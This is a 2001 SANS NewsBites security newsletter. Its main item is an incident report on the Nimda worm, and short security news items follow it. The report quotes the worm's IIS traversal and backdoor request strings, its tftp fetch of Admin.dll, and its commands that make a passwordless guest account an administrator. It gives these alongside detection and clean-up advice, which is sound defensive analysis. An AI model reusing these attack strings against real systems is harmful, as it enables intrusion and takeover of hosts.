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Volume III - Issue #38

September 19, 2001

The NIMDA worm is spreading faster than Code Red, appears to have at
least four distinct propagation mechanisms, and infects hosts running
most versions of Windows. In other words it is a far more vicious worm
than Code Red. The network activity caused by the worm has resulted
in effective denial of service attacks at many sites. I've included
this morning's complete report from Incidents.org at the end of this
Newsbites issue. Updates to the report can be found at



The Nimda worm is top story.


14 September 2001 Chinese Hacker Arrested
14 September 2001 Kournikova Author Trial
13 September 2001 Canadian DDoS Culprit Sentenced
14 September 2001 Searching For Digital Clues in the Morass of Data
13 & 14 September 2001 ISPs Help FBI
13 September 2001 Getting Through Disaster
12, 14 & 15 September 2001 Hacking Groups Divided on Retaliation
12 September 2001 Businesses Have to Prepare for the Unthinkable
13 September 2001 Disaster Recovery Needs to be About People
12 September 2001 FBI Counterterrorism Division Issues Advisory
12 September 2001 Automated Patching Worms
12 September 2001 Disaster Recovery Companies
11 & 12 September 2001 Concern About Cyberattack Threat
11 September 2001 FBI Infiltrated Hacker Underground
10 September 2001 Hotmail Javascript Vulnerability
10 September 2001 GPS Vulnerable to Disruption
10 September 2001 On Line Casino Breached
6 September 2001 Flaws in 3rd Party Authentication on Apache

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Nimda Worm Version 0.2

- September 19, 2001 NIMDA Worm/Virus Report -- Preliminary Last Update: September 19, 2001 6:00 AM CDT
SUMMARY: A new worm that has been named "Nimda" is propagating with unprecedented speed across the Internet. The worm appears to have at least four distinct propagation mechanisms, and infects hosts running any version of Windows. The network activity caused by the worm has resulted in an effective denial of service attack at many sites. The worm was named NIMDA (admin spelled backwards) in part because the name "Concept Virus" conflicts with another virus from a few years ago.
SURGE IN HTTP TRAFFIC: On Sept. 18th incidents.org and its partner organization DShield.org received a huge number of reports of increased HTTP probing and network slowdowns. The plots below show the surge in both the number of HTTP probes (Figure 1) and the number of unique sources generating the probes (Figure 2). Further, the activity jumped dramatically at approximately 13:00 GMT and then proceeded to taper off in the following hours. Figure 3 shows the number of probes received per hour on Sept. 18th, and Figure 4 shows the hourly breakdown for number of unique sources generating the activity on the same day. DISTRIBUTION OF SCANNING HOSTS: The 86,000+ unique IP addresses reported to the Internet Storm Center as sourcing port 80 probes on the 18th breaks down by country roughly as follows (only countries contributing > 500 sources are shown): Country # Ips % of Total USA 37318 42.97 % China 7818 9.00 % Korea 6462 7.44 % Germany 3681 4.24 % Canada 3267 3.76 % Great Britain 2750 3.17 % Italy 1874 2.16 % Australia 1821 2.10 % France 1538 1.77 % Japan 1414 1.63 % Taiwan 1353 1.56 % Brazil 1128 1.30 % Spain 1021 1.18 % Netherlands 953 1.10 % Sweden 914 1.05 % Hong Kong 862 0.99 % India 853 0.98 % Mexico 702 0.81 % Thailand 641 0.74 % Denmark 630 0.73 % Russia 590 0.68 % Belgium 582 0.67 % Austria 553 0.64 %
OVERVIEW OF WORM PROPAGATION: Preliminary analyses indicate that the worm attempts to propagate itself to new victims via four distinct mechanisms.
1. The worm scans the Internet looking for IIS servers and attempts to exploit a number of IIS vulnerabilities to gain control of a victim host. Network attacks include exploitation of the "IIS Directory Traversal Vulnerability", and utilization of backdoors left behind by previous Code Red II and Sadmind infections. Once in control of a victim IIS server, the worm uses TFTP to transfer its code from the attacking machine to the victim. The file transferred via TFTP is named Admin.dll.
2. The worm harvests email addresses from the Windows address book and user's inboxes and sends itself to all addresses as an attachment named "readme.exe". Note that any x86 email software that uses Internet Explorer 5.5 SP1 or earlier to display HTML messages will automatically execute the malicious attachment if the message is merely opened or previewed. This happens because the worm MIME encodes the attachment to take advantage of a known vulnerability called "Automatic Execution of Embedded MIME Types" (see CERT advisory CA-2001-06). Microsoft's Outlook and Outlook Express are the most typical victims.
3. If the worm successfully infects a web server, it uses the HTTP service to propagate itself to clients who browse the web server's pages. Upon infecting a victim server, the worm creates a copy of itself named "readme.eml" and traverses the directory tree (including network shares) searching for web-related files such as those with .html, .htm, or .asp extensions. Each time the worm finds a web content file, it appends a piece of JavaScript to the file. The JavaScript forces a download of readme.eml to any client that views the file via a browser. Some versions of Internet Explorer will automatically execute the readme.eml file and allow the worm to infect the client. The IE vulnerability issue here is the same as in the email propagation mechanism; that is, IE 5.5 SP1 or earlier is vulnerable to the "Automatic Execution of Embedded MIME Types" problem. Allowing JavaScript in the browser enables the attack to take advantage of the vulnerability.
4. The worm is network aware and propagates via open file shares. It will copy itself to all directories, including those found on a network share, for which the user has write permission. These worm copies are named "readme.eml". Any other host that accesses the share and executes or previews one of these files can become infected.
TARGETING MECHANISM: The IIS propagation mechanism described above requires an infected system to scan the Internet in search of vulnerable IIS servers. This worm prefers to target its neighbors in IP space and will only attack a completely random target IP with a 25% probability. The worm chooses targets having the same first octet (only) with 25% probability, and having the same first two octets with 50% probability. This behavior can lead to massive amounts of network activity at sites having several infected machines. Note: Some conflicting reports indicate that the worm first targets IPs with the same first three octets, then moves to IPs with the same first two octets, and then out a level further to IPs with the same first octet. The exact target selection pattern is still under investigation, but it is clear that the worm prefers to target locally rather than randomly.
DETAILS OF IIS PROPAGATION: A short example of the IIS probes launched by the worm is shown below. These logs were captured by an Apache web server. Note that the pattern repeats itself; some reports indicate that the 16-probe sequence will be repeated against a single target as many as 13 times. Note that the first two attacks show the worm attempting to exploit the root.exe backdoor left by Code Red II or possibly Sadmind infections. The next set of two attacks are also targeting Code Red II backdoors where the root C: and D: drives are mapped to IIS virtual folders, allowing access to cmd.exe. "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-""-" "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-""-" "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-" "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-" "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-" "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-" "GET/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 249 "-" "-" "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../ winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-" "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-" "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-" "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-" "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-" "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-" "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-" "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-" "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-" "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-" "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-" "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-" Once the worm gains access to a vulnerable IIS webserver, it uses tftp to fetch a binary called Admin.dll from the infecting host. The following string is embedded in the worm executable: tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20 An example packet capture of the tftp request is shown below. 09/18-15:18:23.706570 vulnerable:4184 -> attacker:69 UDP TTL:127 TOS:0x0 ID:33619 IpLen:20 DgmLen:46 Len: 26 00 01 41 64 6D 69 6E 2E 64 6C 6C 00 6F 63 74 65 ..Admin.dll.octe 74 00 t.
DETAILS OF EMAIL PROPAGATION: The worm sends itself to email addresses found in the inbox and the address book as an attachment called readme.exe. The attachment is actually encoded as a MIME "multipart- alternative" message with two sections. The first section is defined as MIME type "text/html", and the second section is defined as MIME type "audio/x-wav". The second section actually contains the malicious executable file. The MIME headers for the email message are reproduced below. These strings are actually embedded in the worm executable. MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 - --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" - --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable - --====_ABC0987654321DEF_====-- - --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="readme.exe" Content-Transfer-Encoding: base64 Content-ID: - --====_ABC1234567890DEF_==== The emails sent by the worm are easily recognizable because very long repetitive subject lines are used. An example of one such subject line is shown below. Also, the email attachment sent by the worm is consistently 57344 bytes long, although MD5 checksums of the attachments may vary. Subject: O•^Rdesktopdesktopsamplesampledesktopsampledesktopsamplesampledesktop desktopdesktopdesktopsampledesktopdesktopsampledesktopdesktopdesktop sampledesktopdesktopsampledesktopsampledesktopsampledesktopsampl Note: Emails carrying the readme.exe attachment have often been found with spoofed souce addresses. The addresses appear to have been chosen such that they will inspire the recipient to trust the email. Spoofed sources observed to date are: piracy@microsoft.com, codered@sans.org, webmaster@incidents.org, asportal@microsoft.com, and various attrition.org addresses.
DETAILS OF WEB BROWSER-BASED PROPAGATION: A client browsing the web pages served by an infected website may become infected. Recall that each web-related page is contaminated with a bit of JavaScript code during the infection. When the JavaScript is activated by a client's browser, the script attempts to download the worm to the client in the form of a file named readme.eml". If the client is running a vulnerable version of Internet Explorer, the worm code will be automatically executed. The snippet of JavaScript that is appended to each web page is:
DETAILS OF FILE SHARE ISSUES: In addition to copying itself to all directories, including those on shared network drives, the worm actively sets up file sharing on the victim. The worm appears to make every directory available as a share, and makes the "Guest" user an active member of the Administrators group. By default the Guest account has no password on Windows systems. Related strings from the worm executable are: share c$=c: user guest "" localgroup Administrators guest /add localgroup Guests guest /add user guest /active user guest /add net%%20use%%20\%sipc$%%20""%%20/user:"guest"
CHANGES TO THE VICTIM FILESYSTEM: The worm infects numerous binaries on a victim system, such that any time one of the infected executables is run the worm is launched. In addition, the worm positions itself in such a way that when document files are opened in editors the worm code is executed (see
[3 ]
). These characteristics make it incredibly difficult to clean the worm from an infected system. The worm also makes numerous changes to the victim's registry. Affected keys include (these are assumed to be relative to HKLM): SystemCurrentControlSetServicesVxDMSTCP SYSTEMCurrentControlSetServicesTcpipParametersInterfaces SYSTEMCurrentControlSetServicesTcpipParametersInterfaces SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders SYSTEMCurrentControlSetServiceslanmanserverSharesSecurity SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced softwaremicrosoftwindows ntcurrentversionperflib09 softwaremicrosoftwindows ntcurrentversionperflib SOFTWAREMicrosoftWindowsCurrentVersionApp Paths SOFTWAREMicrosoftWindowsCurrentVersionApp Paths SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanManX$ SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan SYSTEMCurrentControlSetServiceslanmanserverShares SoftwareMicrosoftWindowsCurrentVersionExplorerMapMail Regsistry manipulation commands include: RegCloseKey RegQueryValueExA RegOpenKeyExA RegEnumKeyExA RegCreateKeyExA RegDeleteKeyA RegEnumValueA RegSetValueExA RegQueryValueA
RESOURCE CONSUMPTION: The worm appears to launch numerous threads for scanning the network which can place considerable load on the infected machine as well as the network. Strings in the worm binary indicate that the worm may be performing some sort of resource monitoring tasks. Relevant strings: CreateThread SetThreadPriority GetCurrentThread CreateRemoteThread % User Time % Privileged Time % Processor Time
ISSUES UNDER INVESTIGATION: Some reports indicate that the worm may actually cause hardware damage to victim machines. This claim is currently unverified. The worm executable contains a call to GetSystemTime. It is currently unknown exactly what the worm uses the time for. Some unconfirmed reports indicate that the worm includes mechanisms to change its behavior at a later date. However, the worm does not appear to carry any sort of DDoS-type payload. Most reports on this topic say that the time is used in the generation of a random value.
DETECTION: Network intrusion detection systems can be configured to trigger on a number of network events initiated by the worm. HTTP packets containing the string "readme.eml", or TFTP packets containing "Admin.dll" are good triggers. Further, filters can be written to detect the specific backdoor and directory traversal attacks targeting IIS servers. Host-based intrusion detection systems can be configured to notice the changes to system executables, and the presence of the "readme.eml" files throughout the filesystem. The offending piece of JavaScript appended to web content files is another good signature of infection on web servers. Nessus has made a plug-in available for its scanner that will remotely test a web server for infection by checking for the tell-tale JavaScript addition to web pages. Email filters can be configured to screen for emails carrying attachments named "readme.exe" and having long (80 characters or more) subject lines.
PROTECTION: IIS servers should be kept up to date with all current patches. This worm takes advantage of vulnerabilities that are eliminated by Microsoft's cumulative IIS patch available from:

Note however, that the IIS cumulative patch does not clean out any backdoors created by Code Red II or Sadmind infections. Administrators should look for the file root.exe and check to see if their C: or D: drives have been mapped to IIS virtual folders named "c" and "d". This is important since a recent Netcraft survey showed that many patched IIS servers still have the root.exe backdoor. (See
for August 2001.) Internet Explorer users should be careful to use a version of the browser that is secured against the "Automatic Execution of Embedded MIME Types" vulnerability. IE 5.01 requires a patch available here:

Microsoft recommends upgrading to IE 5.5 SP2 or IE 6.0 to avoid problems.
Disabling JavaScript will prevent the worm code from being executed by a browser upon encountering an infected webserver that attempts to download readme.eml. It is important that the readme.exe file which arrives as an email attachment not be executed.
CLEAN-UP: Any system that has been infected with this worm will be difficult to clean due to how the worm copies itself all over the directory tree and trojans numerous binaries. The recommended response is to disconnect the system from the network, reformat the hard drive, reinstall the system software, install any necessary security patches, and then reconnect the system to the network. No other reliable means of cleaning the worm is currently known to exist. However, we expect more information in this area will be forthcoming.
Data Fellows Corp
Trend Micro

Central Command, Inc.

[1 ]
CERT Advisory:
[2 ]
Numerous emails posted to the intrusions and handlers lists at incidents.org, and emails posted to the public mail lists at SecurityFocus.
[3 ]
Email messages from the Oregon Infragard List:
Specifically, the following message from
[3 ]
provides the most detail on the worm internals known to date. It is reproduced here for reference. - -----Original Message----------------------------------------------- From: victoria.evans@usbank.com To: crime@cs.pdx.edu Sent: 9/18/01 10:58 PM Subject: Very Very good explanation of Concept/Nimda worm propagation Nimda is a complex mass-mailer, network worm and virus. It is a 57kb PE DLL file with an EXE extension. When run the worm first checks the name of the file it was run from. If the name of worm's file is ADMIN.DLL, the worm creates a mutex with 'fsdhqherwqi2001' name, copies itself as MMC.EXE into Windows directory and starts this file with '-qusery9bnow' command line. If the worm is started from README.EXE file (or a file that has more than 5 symbols in its name and EXE extension) the worm copies itself to temporary folder with a random name and runs itself there with '-dontrunold' command line option. If the worm is run for the first time (as README.EXE) it loads itself as a library, looks for some resource there and checks its size. If the resource size is less than 100, the worm unloads itself, otherwise the worm checks if it was launched from a hard drive and deletes its file in case it was launched from other type of media. If the worm's file that is delete is locked, the worm creates WININIT.INI file that will delete the worm's file on next Windows startup. If the worm was launched from a hard drive, it checks one of its resources, extracts it to a file and launches it. Checking the resource size is done to be able to detect if a worm runs from and infected EXE file. In this case the original executable part is extracted and run by the worm to disguise its presence.
Then the worm gets current time and generates a random number. After performing multiplication and division with this number the worm checks the result. If a result is bigger than worm's counter, the worm starts to search and delete README*.EXE files in temporary folder.
The worm tries to create the
[SYSTEMCurrentControlSetServicesTcpipParametersInterfaces ]
key in the Registry. It also queries 'NameServer' value from
[SystemCurrentControlSetServicesVxDMSTCP ]
key. After that the worm updates its resources and deletes and re-creates its file. If the file is locked, the worm creates WININIT.INI file that will delete the previously locked file on next Windows startup. After that the worm prepares its MIME-encoded copy by extracting a pre-defined multi-partite message from its body and appending its MIME-encoded copy to it. The file with a random name is created in temporary folder.
The worm looks for EXPLORER process, opens it and assigns its process as remote thread of Explorer. Then the worm gets API creates a mutex with 'fsdhqherwqi2001' name, startups Winsock services, gets an infected computer (host) info and sleeps for some time. When resumed, the worm checks what platform it is running. If it is running on NT-based system, it compacts its memory blocks to occupy less space in memory and copies itself as LOAD32.EXE to Windows system directory. Then it modifies SYSTEM.INI file by adding the following string after SHELL= variable in
[Boot ]
section: explorer.exe load.exe -dontrunold
This will start the worm's copy every time Windows starts. The worm also copies itself as RICHED32.DLL file to system folder and sets hidden and system attributes to this file as well as to LOAD.EXE file. Then the worm enumerates shared network resources and scarts to recursively scan files on remote systems. If the worm finds an EXE file on a remote system, it reads the file, deletes it and then writes a new file where the worm body is placed first and the original EXE file is present as a resource. Later when this affected file will be run, the worm will extract the EXE file resource and run it. The worm checks the file name for 'WinZip32.exe' and doesn't affect this file if it is found.
When searching for files in remote systems the worm collects names of DOC files and then copies its file to folders where DOC files are located with RICHED32.DLL name. The copied file has system and hidden attributes. This is done to increase the chances of worm activation on remote systems as Windows' original RICHED32.DLL component is used to open OLE files. But instead the worm's RICHED32.DLL file will be launched as Windows first checks current directory for needed DLLs. Also when the worm browsing the remote computers' directories it creates .EML and .NWS (rarely) files that have the names of document files that the worm could find on a remote system. These .EML and .NWS files are worm's multi-partite messages with a worm MIME-encoded in them. When scanning the worm can also delete the .EML and .NWS files it previously created.
The worm adjusts the properties of Windows Explorer, it accesses
[SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced ]
key and adjusts 'Hidden', 'ShowSuperHidden' and 'HideFileExt' keys. This affects Windows' (especially ME and 2000) ability to show hidden files - worm's files will not be seen in Explorer any more. After that the worm adds a 'guest'account to infected system account list, activates this account, adds it to 'Administrator' and 'Guests' groups and shares C: drive with full access privileges. The worm also deletes all subkeys from
[SYSTEMCurrentControlSetServiceslanmanserverSharesSecurity ]
key to disable sharing security.
The worm accesses
[SOFTWAREMicrosoftWindowsCurrentVersionApp Paths ]
key reads subkeys from there and affects all files listed in the subkeys the same way it does affect remote EXE files (see above). The worm doesn't only infect WinZip32.exe file. Also the worm reads user's personal folders from
[SoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders ]
key and infects files in these folders as well. Finally the worm starts to search local hard drives for HTML, .ASP, and .HTM files and also for files with 'DEFAULT', 'INDEX', 'MAIN' and 'README' words in their filenames and if such files are found, the worm creates README.EML file (which is the multi-partite message with MIME-encoded worm) in the same directory and adds a small JavaScript code to the end of found files. That JavaScript code would open README.EML file when the infected HTML file is loaded by a web browser. As a result the MIME-encoded worm will get activated because of a security hole and a system will get infected. It should be noted that the worm will not always do the above described operation, it depends on a random number the worm generates prior to this action. The worm's file runs from a minimized window when downloaded from an infected webserver. This technique affects users who are browsing the web with Internet Explorer 5.0 or 5.01. E-Mail spreading:
The worm searches trough all the '.htm' and '.html' file in the Temporary Internet Files folder for e-mail addresses. It reads through user's inbox and collects the sender addresses. When the address list is ready it uses it's own SMTP engine to send the infected messages. IIS spreading:
The worm uses backdoors on IIS servers such as the one CodeRed II installs. It scans random IP addresses for these backdoors. When a host is found to have one, the worm instructs the machine to download the worm code (Admin.dll) from the host used for scanning. After this it executes the worm on the target machine this way infecting it. The worm has a copyright text string that is never displayed: Concept Virus(CV) V.5, Copyright(C)2001 R.P.China It should be said that the worm has bugs that cause crashes or inability to spread itself in certain conditions.

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14 September 2001 Chinese Hacker Arrested

Chinese police have arrested a nineteen-year-old man who allegedly defaced web sites with pornography. The man had bragged of his exploits in chatrooms.

14 September 2001 Kournikova Author Trial

Lawyers for Jan de Wit, the Dutch man who admitted writing the Anna Kournikova worm, asked that the charges against him be dropped, while prosecutors asked for 240 hours of community service and no jail time. The maximum sentence de Wit faced was 4 years in jail and a fine of 100,000 guilders (US$41,300).

13 September 2001 Canadian DDoS Culprit Sentenced

The Canadian teenager who launched massive distributed denial of service (DDoS) attacks in February of 2000 has received an 8-month sentence to a youth detention facility. He was also fined Canadian$250 for violating the terms of his parole. His sentence restricts his computer use and prevents him from profiting from the incident until his parole is complete.

14 September 2001 Searching For Digital Clues in the Morass of Data

The sheer volume of digital communications combined with strong encryption makes finding clues about those responsible for last week's attack an extraordinarily difficult job. Computer searches for clues are not always accurate, though some emerging data mining technologies may help change that.

13 & 14 September 2001 ISPs Help FBI

AOL and Earthlink are both cooperating with the FBI's request for e- mail account records and other information related to last week's attacks. Both ISPs maintain that Carnivore, the FBI's electronic monitoring technology now called DCS1000, has not been installed.

13 September 2001 Getting Through Disaster

IBM's crisis response team's rules for dealing with disaster include remaining calm, keeping a sense of humor, and telling the truth.

12, 14 & 15 September 2001 Hacking Groups Divided on Retaliation

While the Chaos Computer Club advocates the "free flow of information" and discourages the use of hacking in response to last week's attacks, other groups have already begun cyber assaults on Pakistani and Afghan sites.
[Editor's (Murray) Note: While it may be unlikely that these rogues will cause any permanent or significant harm, the potential consequences are such that we should discourage it. ]

12 September 2001 Businesses Have to Prepare for the Unthinkable

The president of a crisis management company says that some clients had considered a scenario like the one that unfolded last week too outlandish to even consider preparing for. Companies should have in place disaster plans that take into account previously unthinkably catastrophic events.

13 September 2001 Disaster Recovery Needs to be About People

A good disaster recovery/business continuity plan has to take people into account first and foremost. Effective plans also need to be tested and maintained regularly.
[Editor's (Murray) Note: IT is no longer a "single point of failure" but is integrated into the enterprise. We no longer do "disaster recovery planning" but business continuity planning. We no longer "test" such plans but conduct routine drills and exercises intended to create capabilities. We no longer "maintain" but plan continuously. (Paller) A set of back-up tapes does little good if all of the technical people who can use those back-up tapes are missing or dead. Comdisco, SunGuard and IBM (the principal business continuity firms) have a huge opportunity to grow or partner with system integration firms to provide clients with system specific skills and knowledge as well as data redundancy. Difficult, but necessary. ]

12 September 2001 FBI Counterterrorism Division Issues Advisory

The FBI Counterterrorism division has issued a cyber threat advisory that will remain in effect through October 11. Members of InfraGard, comprised of both public and private sector concerns, have been advised to strengthen both physical and computer security.

12 September 2001 Automated Patching Worms

Some programmers have posted code on BugTraq that can automatically repair systems infected with Code Red. Such programs can be inconvenient, and the author is concerned that unless an industry-wide solution to the problem of unpatched machines is reached agreed upon, repair worms could soon be wending their way through the Internet.
[Editor's (Northcutt) Note: At least in the United States, a worm that cleans a system is considered just as illegal as a worm that attacks a system. Readers are advised to stay clear of such programs. ]

12 September 2001 Disaster Recovery Companies

Disaster recovery companies offer such services as back-up data storage facilities, mirroring, and providing emergency office space and computers. Some also offer data recovery services.

11 & 12 September 2001 Concern About Cyberattack Threat

Some experts are warning that US government and businesses could be the targets of cyber attacks in the near future. Some businesses are already preparing for that possibility. One company plans to break down its national network into smaller regional networks while others are requesting additional monitoring and security assessment.

11 September 2001 FBI Infiltrated Hacker Underground

An undercover operation initially focused on tracking down those responsible for denial-of-service attacks against US government and NATO web sites in April 1999 has become a valuable source of information about the hacker underground.

6 September 2001 Flaws in 3rd Party Authentication on Apache

Some third party authentication modules used with Apache servers have security flaws that could allow attackers to access user database information. Some module programmers have fixed the vulnerabilities.
[Editor's (Murray) Note: This is a fundamental vulnerability. I wish that there were a similarly broad fundamental defense. Unfortunately there is no defense other than good programming practice, a defense which appears to be in incredibly short supply. ]

10 September 2001 Hotmail Javascript Vulnerability

A recently discovered Hotmail vulnerability allows attackers Javascript in the From line of e-mails to Hotmail users to bypass filters. Merely viewing the inbox page will cause the script to execute; the user does not even need to open the tainted e-mail.

10 September 2001 GPS Vulnerable to Disruption

A report sponsored by the Transportation and Defense departments indicates that the Global Positioning System (GPS) is vulnerable to disruption from atmospheric effects and communications equipment, and could possibly be deliberately targeted for interference. The study recommends developing backup systems and using a system to monitor GPS interference.

10 September 2001 On Line Casino Breached

A Canadian software company has acknowledged that someone has cracked one of its on line casino games servers and manipulated the code so that all players win.

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Editorial Team:
Kathy Bradford, Roland Grefer, Bill Murray, Stephen Northcutt,
Alan Paller, Marcus Ranum, Howard Schmidt, Eugene Schultz